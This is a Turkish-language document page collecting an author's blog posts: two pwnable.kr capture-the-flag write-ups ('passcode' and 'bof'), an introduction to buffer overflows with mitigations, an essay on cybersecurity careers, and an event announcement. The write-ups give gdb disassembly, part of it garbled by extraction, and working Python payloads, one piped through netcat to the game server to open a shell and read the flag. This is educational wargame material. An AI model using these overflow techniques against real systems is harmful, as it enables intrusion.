Scanf e & sız Değer Atama

Ebat: px
Şu sayfadan göstermeyi başlat:

Download "Scanf e & sız Değer Atama"

Transkript

1 Scanf e & sız Değer Atama Bir önceki buffer overflow yazımızda kullandığımız ve genel olarak C kodları ile pentest yaptığımız pwnable.kr sitesine giriyoruz. Play kısmından sorulara geçip passcode resminin üstüne tıklıyoruz. Karşımıza güvenli ssh bağlantısı ile server a bağlanmamız ve bağlantının şifresinin guest olduğunu söylüyor. Bağlantımız olduktan sonra ls -l komutu ile bu dizinde ne olduğuna bakıyoruz ve karşımıza 3 dosya çıkıyor. Bir adet flag dosyası, C ile yazılmış adının passcode olduğunu anladığımız bir kod ve bu kodun derlenmiş hali çıkıyor. Yanındaki harfler linuxta kullanılan izinleri sembol eder. Biz şu an kullanıcıyız. Buna göre flag dosyasını açamayız, okuyamayız, değiştiremeyiz. C kodu olan passcode.c yi okuyabiliriz ve derlenmiş olan kodu çalıştırabiliriz. root@kali:~/desktop/hey# ssh passcode@pwnable.kr -p2222 passcode@pwnable.kr's password:

2 \ \ / \ / _] / ] \ o ) _ o o ) / [_ ' / D ) _/ _] \ / ` ' _ O [ \ \ \ /.. \ \_/\_/ \_ \_ - Site admin : daehee87.kr@gmail.com - IRC : irc.netgarage.org:6667 / #pwnable.kr - Simply type "irssi" command to join IRC now - files under /tmp can be erased anytime. make your directory under /tmp - to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal Last login: Wed Mar 29 15:11: from passcode@ubuntu:~$ ls -l total 16 -r--r root passcode_pwn 48 Jun flag -r-xr-sr-x 1 root passcode_pwn 7485 Jun passcode -rw-r--r-- 1 root root 858 Jun passcode.c passcode@ubuntu:~$./passcode Toddler's Secure Login System 1.0 beta. enter you name : frk Welcome frk! enter passcode1 : Segmentation fault passcode@ubuntu:~$ cat passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1;

3 int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1== && passcode2== ){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); int main(){ printf("toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("now I can safely trust you that you have credential :)\n"); return 0; Kodu çalıştırdığımızda adımızı soruyor sonra bir şifre istiyor

4 ve segment hatası veriyor. Genel olarak koda baktığımızda kodun yapması gereken adımızı sormak sonra iki tane şifre sorup eğer bu şifrelerin biri diğeride ise bize flag dosyasını açmaktır. Lakin kod hata verdi Şimdi sırasıyla login fonksiyonundan bakalım. void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); // burada & işareti konmamış.. fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); // burada da & işareti konmamış.. printf("checking...\n"); if(passcode1== && passcode2== ){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); Burada hata var. Buradaki scanf lerde & işareti eksik yazılmış. Scanf fonksiyonu adrese atama yapar. Lakin burada adrese atama yapabilmesi için gerekli olan & işareti yok. O zaman derleyici buradaki değişkeni bir adres gibi görüp ona atama yapmaya çalışır ki bu da hatadır. Şimdi buradaki hatayı önceki yazımızda kullanmış olduğumuz gdb debugger ile inceleyelim.

5 (gdb) disas login Dump of assembler code for function login: 0x <+0>: push %ebp 0x <+1>: %esp,%ebp 0x <+3>: sub $0x28,%esp 0x a <+6>: $0x ,%eax 0x f <+11>: %eax,(%esp) 0x <+14>: 0x x <+19>: $0x ,%eax => 0x c <+24>: -0x10(%ebp),%edx 0x f <+27>: %edx,0x4(%esp) 0x <+31>: %eax,(%esp) 0x <+34>: 0x80484a0 < 0x b <+39>: 0x804a02c,%eax 0x <+44>: %eax,(%esp) 0x <+47>: 0x x <+52>: $0x ,%eax 0x d <+57>: %eax,(%esp) 0x080485a0 <+60>: 0x x080485a5 <+65>: $0x ,%eax => 0x080485aa <+70>: -0xc(%ebp),%edx 0x080485ad <+73>: %edx,0x4(%esp) 0x080485b1 <+77>: %eax,(%esp) 0x080485b4 <+80>: 0x80484a0 < 0x080485b9 <+85>: l $0x ,(%esp) 0x080485c0 <+92>: 0x <puts@plt> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: l $0x80487a5,(%esp) 0x080485de <+122>: 0x <puts@plt> 0x080485e3 <+127>: l $0x80487af,(%esp) 0x080485ea <+134>: 0x <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: l $0x80487bd,(%esp) 0x080485f8 <+148>: 0x <puts@plt> 0x080485fd <+153>: l $0x0,(%esp)

6 0x <+160>: 0x Burada işaretli kısımlar hemen dikkatimizi çekti. Adrese atanacak değer komutuyla atanmış. Ama bizim bildiğimiz bu değerin adrese lea(load Effective Address) ile atanmış olmasıydı. Yani 0xc(%ebp),%edx şeklinde değilde lea 0xc(%ebp),%edx şeklinde olmalıydı. Şimdi bunu kendi lehimize nasıl kullanabiliriz? Elimizde adrese değilde değişkene değer atamaya çalışan bir scanf var. Burada eğer passcode1 e bir değer atayabilirsek istediğimiz olur. Peki passcode1 e nasıl değer atayacağız? Burada sanırım devreye yine buffer overflow girecek void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); Şimdi elimizdeki welcome() fonksiyonuna bir bakarsak 100 karakterli bir string dizisi açılmış ve scanf( %100s, name); baktığımızda program sadece ilk 100 karakteri ele alacak. Burada yeniden bir gdb debugger ile bu fonksiyona bakalım. Dump of assembler code for function welcome: 0x <+0>: push %ebp 0x a <+1>: %esp,%ebp 0x c <+3>: sub $0x88,%esp 0x <+9>: %gs:0x14,%eax 0x <+15>: %eax,-0xc(%ebp) 0x b <+18>: xor %eax,%eax 0x d <+20>: $0x80487cb,%eax 0x <+25>: %eax,(%esp) 0x <+28>: 0x <printf@plt> 0x a <+33>: $0x80487dd,%eax => 0x f <+38>: lea -0x70(%ebp),%edx 0x <+41>: %edx,0x4(%esp)

7 0x <+45>: 0x <+48>: < 0x e <+53>: 0x <+58>: lea 0x <+61>: 0x a <+65>: 0x d <+68>: 0x <+73>: 0x <+76>: xor 0x c <+83>: je 0x e <+85>: < 0x <+90>: leave 0x <+91>: ret %eax,(%esp) 0x80484a0 $0x80487e3,%eax -0x70(%ebp),%edx %edx,0x4(%esp) %eax,(%esp) 0x xc(%ebp),%eax %gs:0x14,%eax 0x <welcome+90> 0x Yukarıda okla gösterilen kısma dikkat edersek atama lea 0x70(%ebp),%edx ile olmuş. Neden? Çünkü karakter dizilerinin & ihtiyacı yoktur. Zaten ilk elemanının adresini vermiş oluruz. Şimdi biz name isimli değişkeni overflow yapıp passcode1 in üzerine istediğimiz değişkeni atamak istiyoruz. Bunun için bu iki değişken arasındaki offset(konum farkının) bilememiz gerek. name = [ebp-0x70] ; passcode1 = [ebp-0x10] 0x10 = 96 offset = 0x70 Buradan şu sonuç çıkar biz name karakter değişkenini 96 karakter besledikten sonra kalan 4 karakter passcode1 in üzerine yazılır. Şimdi son olarak scanf e aldığımız bu veriyi(şifreyi) bir adrese atamam gerek. Burada scanf in hemen alt satırındaki fflush() fonksiyonunu kullanıyorum. Önce fflush fonksiyonunun adresini bulalım. (gdb) disas fflush Dump of assembler code for function fflush@plt: => 0x <+0>: jmp *0x804a004 0x <+6>: push $0x8 0x b <+11>: jmp 0x

8 End of assembler dump. fflush() fonksiyonu 0x804a004 adresindeymiş. Şimdi overflow dan sonraki değer bu adrese jump(zıplama) yapacak ve son olarak 0x080485e3 adresindeki değer ile eşit mi? değil mi? ona bakacak. Burada yine python ile kısa bir script yazıyorum > python c print 96* A + \x04\xa0\x04\x passcode@ubuntu:~$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+' '"./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :) Ve voila flag i buldum :)))) Kaynaklar teup-pwnable/ Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik

9 yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz.

10 Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz. Ekranda iki indirme bağlantısı ve bir netcat ile server

11 bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı. Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. root@kali:~/desktop# gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x a <+0>: push %ebp 0x b <+1>: %esp,%ebp 0x d <+3>: and $0xfffffff0,%esp 0x <+6>: sub $0x10,%esp 0x <+9>: l $0xdeadbeef,(%esp) 0x a <+16>: 0x62c <func> 0x f <+21>: $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func

12 Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: %gs:0x14,%eax 0x <+12>: %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: l $0x78c,(%esp) 0x <+24>: 0x645 <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: %eax,(%esp) 0x f <+35>: 0x650 <func+36> 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x66b <func+63> 0x d <+49>: l $0x79b,(%esp) 0x <+56>: 0x665 <func+57> 0x <+61>: jmp 0x677 <func+75> 0x b <+63>: l $0x7a3,(%esp) 0x <+70>: 0x673 <func+71> 0x <+75>: -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x688 <func+92> 0x <+87>: 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz.

13 gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: %gs:0x14,%eax 0x <+12>: %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: l $0x78c,(%esp) 0x <+24>: 0x <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: %eax,(%esp) 0x f <+35>: 0x <func+36> * 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x b <func+63> 0x d <+49>: l $0x79b,(%esp) 0x <+56>: 0x <func+57> 0x <+61>: jmp 0x <func+75> 0x b <+63>: l $0x7a3,(%esp) 0x <+70>: 0x <func+71> 0x <+75>: -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x <func+92> 0x <+87>: 0x <func+88> 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd

14 Breakpoint 1, 0x in func () (gdb) info registers eax 0xffffd32c ecx 0xfbad edx 0xf7fad87c ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac eip 0x x <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :)

15 if(key == 0xcafebabe){ system("/bin/sh"); else{ printf("nah..\n"); int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim

16 (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html of-writeup-toddlers-bottle/ Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-1 Normalde bu konuyu tek bir yazı ile anlatıp bitirmeyi düşünüyordum. Lakin konunun uzunluğu ve anlaması güç olduğu için iki yazılık bir yazı dizisi şeklinde anlatmayı daha uygun gördüm. Genel olarak bu yazımda buffer overflow un ne olduğundan, C dili ile yazılmış örneklerinden, giriş seviyesinde assembly den ve korunma yöntemlerinden bahsedeceğim. İkinci yazımda ise CTF(Capture The Flag) ne olduğundan, genel

17 güvenlik konularından ve son olarak C ile yazılmış bir kodu buffer overflow yaparak içinden flag çekmeyi göreceğiz. Buffer Overflow(Arabellek Taşması Zafiyeti) Nedir? Buffer overflow u tanımlayabilmek için önce buffer nedir, onu tanımlamamız gerekiyor. Buffer, hafızada ard arda dizili türde veri tipi (int, char) depolayan hafıza bloğudur. C ve C++ da buffer olarak array leri alıyoruz. Diğer bütün veri türleri gibi, array ler de static yada dinamik olarak sınıflandırılabilirler. Static değişkenler, program hafızaya yüklenirken, programın data segment ine yerleştirilir, dinamik değişkenler ise, program halihazirda calışırken, dinamik olarak stack dedigimiz hafızada program icin hazırlanmış özel bölümde yaratılıp, yokedilirler. İşte buffer overflow dediğimiz olay da, bu dinamik değişkenlerin taşıyabilecekleri veri miktarından fazlasını yükleyerek değişkenin sınırlarını aşmaktır. Kaba bir tabirle, 10 byte veri taşıyabilecek bir array a 20 byte kopyalamak bu buffer ı overflow etmek demektir.

18 Türkçe özetlersek: Arabellek taşması, değişkenlere varsayılandan büyük veriler girerek taşmaya sebep olunması ve bu sayede istenen bir kodun çalıştırılması olarak tanımlanabilir. Bu zafiyet Assembly, C ve C++ kullanarak yazılmış programlarda bulunmaktadır. Üst seviye programlama dillerinde runtime sırasında gerekli kontroller yapılmaktadır. Bunun en basit örneği C dilinde ki strcpy() fonksiyonudur. strcpy() fonksiyonu birinci string i ikinci string e kopyalar fakat sınır kontrolü yapmaz. Yani eğer biz değişkenlerden herhangi birinin büyüklüğünü statik olarak girmişsek bu programda bellek taşmasına yol açacaktır. #include<stdio.h> #include<stdlib.h> #include<conio.h> #include<string.h> int main() { char Buffer1[5]; char * Buffer2; Buffer2 = "AAAAAOverFlow"; strcpy(buffer2, Buffer1); // işte tam burada Buffer Overflow olacak ve hatası ekrana çıkacaktır. getch(); return 0;

19 buffer overflow example Kodda görüldüğü gibi ilk 5 byte tan sonra yazılan OverFlow kelimesi tam anlamını yansıtmaktadır. Yani ilk 5 byte a AAAAA yı koyacak ve strcpy() fonksiyonunun herhangi bir sınır kontrolü yapmamasından dolayı geri kalan OverFlow bellek taşmasına yol açacaktır. Bu program çalıştığında Buffer Overrun hatası verecektir. Ama OverFlow sözcüğü program stack ının kritik kısımlarını etkileyecektir. Gel gelelim program stack ı ne demek onu da biraz bilmeliyiz. Stack(Yığın), LIFO (Last In, First Out son gelen ilk çıkar) şeklinde düzenlenmiş bir veri yapısıdır. İşlemci, PUSH ve POP gibi komutlarla stack a veri aktarır, ya da stack dan veri çıkarır, yani stack ten çıkarılacak ilk veri, stack e aktarılan son veri olacaktır. Buradaki PUSH ve POP komutları assembly de kullanılan veri taşıma komutlarıdır. Bir programda fonksiyon çağrıldığında, ilk önce fonksiyon parametreleri yığına(stack) yazılır. Ardından fonksiyondan çıkıldıktan sonra hangi komut çalıştırılacaksa, onun adresi yazılır. Sonrasında fonksiyona girmeden önceki değerini saklamak için BP nin(base Pointer) o andaki değeri ve ardından da BP ye SP nin(stack Pointer) değeri yazılır(function epilogue). Son olarak fonksiyondaki lokal değişkenleri tutmak için bir arabellek(buffer) alanı oluşturulur. Klasik arabellek taşması bu alanın taşırılarak IP ye istenen bir değerin yazılması ve böylece program akışının değiştirilmesi durumudur. Aşağıdaki fonksiyonda girilen parametreyle ilgili hiç bir denetleme bulunmamaktadır. Fonksiyon programcının beklediği biçimde, yani parametre olarak en fazla sekiz karakterlik bir dizi verilerek çağırılırsa yığın Şekil deki gibi olacaktır. void fonksiyon(char* parametre)

20 { char arabellek[8]; strcpy(arabellek,parametre); Ancak bu fonksiyon; arabelleği tamamen doldurup, ardından eski BP ye de yazıp fonksiyonun dönüş değerine istenen bir adres yazılacak biçimde de çağırılabilir. Klasik arabellek taşırma saldırısı bu yolla yapılmaktadır. Bu sayede kodun akışı değiştirilebileceği gibi saldırgan tarafından yazılmış bir kod da(shellcode) çalıştırılabilir. Kısacası Buffer Overflow Exploiting bir programdaki programlama hatalarını kullanarak o programın değişkenlerine ve program akışına dışarıdan erişmeye denir.

21 Bu durumun güzel örneklerinden biri 2004 yılında açığa çıkmış Sasser solucanıdır. Bu solucan Windows işletim sisteminde sürekli çalışan LSASS.EXE adlı dosyada bulunan bir Buffer Overflow hatası sayesinde milyonlarca makinaya bulaşabildi. Bu LSASS.exe nin asıl görevi (Local Security Authentication Server) Windows un kullanıcı işlemlerinin güvenliğini sağlamak ve kullanıcı izinlerini düzenlemekti. Fakat Windows 2000 ve XP yüklü makinelerde bu dosyanın kullandığı bir DLL dosyasında Buffer Overflow tesbit edildi.( (LSASRV.DLL). Bu sayede virüs 445 inci porta bağlanıp, programa istediği işlemleri yaptırıyordu. Daha sonra da LSASS.EXE kapatılıyordu ve 1 dakika içinde de server a reset atılıyordu. Son olarak korunma yöntemlerini sırasıyla paylaşıyorum. 1. Verilen örnekte sctrcpy yerine strlcpy fonksiyonu kullanılsaydı, geçilen parametrenin boyutu kontrol edileceği için zafiyet oluşmayacaktı. Aşağıda bazı fonksiyonların güvenli ve güvensiz versiyonları bulunmaktadır. 2. Yazılan fonksiyonlarda girdi denetimi yapılmalı. Girdi denetiminde beyaz liste kullanılmalı ve listenin dışında kalan tüm girdiler reddedilmelidir. 3. Kod yazılırken değişken büyüklüğünü her seferinde sayıyla girmek yerine bir kereliğine bir değişkene ya da sabite atayıp sonra hep o kullanılmalı veya değişkene

22 yazılabilecek karakter miktarı sizeof fonksiyonuyla hesaplanmalıdır. 4. Eğer aksi gerekli değilse Assembly, C ve C++ yerine, bellek yönetimi ve bellek taşması kontrolü yapan C# ve Java gibi üst seviyeli dillerle programlama yapmak tercih edilmelidir. 5. Arabellek taşması güvenliği frameworkler kullanılmalıdır. sağlayan kütüphane ve 6. Kod derlenirken derleyicilerin sağladığı arabellek taşması tespit mekanizmaları aktif hale getirilmelidir. 7. İstemci tarafında yapılmalıdır. yapılan kontroller sunucuda da 8. ASLR(Address Space Layout Randomization) ve DEP(Data Execution Protection) gibi özellikler kullanılmalıdır. 9. Uygulamalara gereğinden fazla yetki verilmemelidir. KAYNAKLAR bellek-tasmasi-zafiyeti-buffer-overflow.html (Yavuz Atlas, TÜBİTAK BİLGEM ) d= verflow-nedir-blm-1/ YAZAR : Ömer Faruk SÖNMEZ

23 Neden Siber Güvenlik? Aslında bu metnin başlığı Neden Siber Güvenliğe Başlamalıyım? veya Güvenlik Bu Kadar Önemli mi? gibi sorular olabilirdi. Ama yazımız hem bütün bu konuları kapsasın hem de işin biraz magazinsel boyutundan bahsedeceğinden bu başlık bizim için yeterli. Burada bu işin sadece parasal, ülkesel ve küresel boyutundan bahsedeceğiz. Önce parasal boyuta değinelim. Kendini yetiştirmiş bir beyaz şapkalı hacker* şu anda ülkemizde de dahil bir çok kurum kuruluşun güvenlik biriminde(örneğin bankalar,holdingler vs..) çalıştığı gibi google, facebook gibi küresel ölçekli firmaların sitelerinde yaptıkları pentestlerle** buldukları açıklığın boyutuna göre milyon dolarlara kadar çıkabilen paralar kazanabilmektedir. Ülkesel bazda baktığımızda ileride olacak veya olabilecek savaşların senaryoları; tek kurşun atılmadan ülkelerin

24 altyapısal donanımlarını, askeri silahlarını(örneğin uçakları, denizaltıları vs..), iletişim ağlarını çökertmektir. Bunun 2007 de Rusya-Estonya siber savaşı*** ile ilk örneğini bütün dünya görmüş oldu. Estonya nın bütün internet altyapısını felç eden DDos saldırıları ile ülkede bankacılık işlemleri, devlete ait internet siteleri, haber portalları gibi başlıca internet hizmetleri kullanılamaz hale gelmiştir. Saldırıların çoğunun Rusya dan geldiğinin ispatlanması üzerine ülkedeki bütün internet hatları kapatılmış buna rağmen saldırılar birkaç hafta daha devam etmiştir. Şu an itibari ile Rusya da ve Amerika da bir siber ordu, Çin in bilinen ismiyle Mavi ordusu ve Avrupa Birliğinin bu acil durumlar için bir siber güvenlik ordusu geliştirdiği bilinmektedir. Ülkemizin de böyle bir birime ihtiyacı vardır. Son olarak küresel bazda baktığımızda bir Nükleer Santrale yapılan siber saldırı sonucu doğaya verilen zararın düzeltilememesi, nükleer başlıklı bir bombanın kodlarının hackerlar tarafından ele geçirilip teröristlere satılması, kişisel mahremiyete dayalı bilgilerin çalınıp satılması, ülkelerin sırlarının ifşa edilmesi gibi uzadıkça uzayan bir liste mevcuttur. Bütün bu tehlikeler karşısında kendini yetiştirebilmiş güvenlikçiler her zaman ve şartta gerekli yerlerde lazım olacaktır.

25 Kaynaklar: * ** syon-testleri/ *** en-baz-olaylar.html Yazar: Ömer Faruk SÖNMEZ Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Akdeniz 2016 Akdeniz in En Bilişim Zirvesi Kapsamlı Bilişim

26 Buluşmasına Hazır Olun! Pixel Akademi tarafından Akdeniz Bilişim Zirvesi adıyla bu yıl ikincisi gerçekleştirilecek olan büyük buluşma, bilişim dünyasının en iyilerini bir araya getiriyor.uluslararası ve ulusal düzeyde marka isimleri bir araya getirerek Akdeniz Bölgesindeki en kapsamlı bilişim ve kariyer buluşmasını gerçekleşitiriyoruz. Sizleri bu yıl yine Bilişimin Kalbinin Akdenizde attığına tanıklık etmeye davet ediyoruz. 15 Ekim 2015 de düzenlenen 1. Akdeniz Bilişim Zirvesi ne katılan 800 katılımcımızdan aldığımız güç ile büyüyerek ve gelişerek 2016 da yolumuza devam ediyoruz. Zirve hakkında sosyal medya hesaplarımızı ve twitter üzerinden #bilisiminkalbinde,#abz2016 hastaglarını takip edebilirsiniz Neden Katılmalıyım? Geçen yıl ilki düzenlenen Akdeniz Bilişim Zirvesi bu yıl başarısını ve kapsamını katlayarak daha büyük bir konsept ile karşınızda Akdeniz Bilişim Zirvesi Sanal Gerçeklik-VR /AR, 3D Print, Siber Güvenlik, Ethical Hack ve Dijital Medya hakkında konuşacağız. Alanında ülke ve dünya çapında marka olmuş isimler yine bizlerle olacak. Akdenizinin en kapsamlı zirvesine bir çok süprize hazır olun! Bu yıl en iyi blog ve gelecek vaad eden proje ödülü de Akdeniz Bilişim Zirvesinde sahiplerini bulacak. Bu eşsiz buluşmayı kaçırmayın. Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Etkinlik resmi web adresi:

C İLE BUFFER OVERFLOW-2

C İLE BUFFER OVERFLOW-2 C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında

Detaylı

Linux Assembly Programlamaya Giriş

Linux Assembly Programlamaya Giriş Linux Assembly Programlamaya Giriş Barış Metin Konular gcc / gas / ld Intel ve AT&T söz dizimleri gdb INT 80H C kütüphane fonksiyonları Stack Frame Örnek

Detaylı

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ BUFFER OVERFLOW: Buffer Nedir? Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program

Detaylı

PROGRAMLAMAYA GİRİŞ DERS 2

PROGRAMLAMAYA GİRİŞ DERS 2 PROGRAMLAMAYA GİRİŞ DERS 2 Program editörde oluşturulur ve diske kaydedilir Tipik Bir C Programı Geliştirme Ortamının Temelleri 1. Edit 2. Preprocess 3. Compile 4. Link 5. Load 6. Execute Önişlemci programı

Detaylı

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN Bahar Dönemi Öğr.Gör. Vedat MARTTİN 8086/8088 MİKROİŞLEMCİSİ İÇ MİMARİSİ Şekilde x86 ailesinin 16-bit çekirdek mimarisinin basitleştirilmiş bir gösterimi verilmiştir. Mikroişlemci temel iki ayrı çalışma

Detaylı

NESNEYE YÖNELİK PROGRAMLAMA

NESNEYE YÖNELİK PROGRAMLAMA NESNEYE YÖNELİK PROGRAMLAMA Metotlar Şu ana kadar yaptığımız örneklerde hep önceden hazırlanmış ReadLine(), WriteLine() vb. gibi metotları kullandık. Artık kendi metotlarımızı yapmanın zamanı geldi. Bilmem

Detaylı

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com. ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr Eyüp ÇELİK Kimdir? Bilgi Güvenliği Uzmanı White Hat Hacker Ethical Hacking

Detaylı

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi

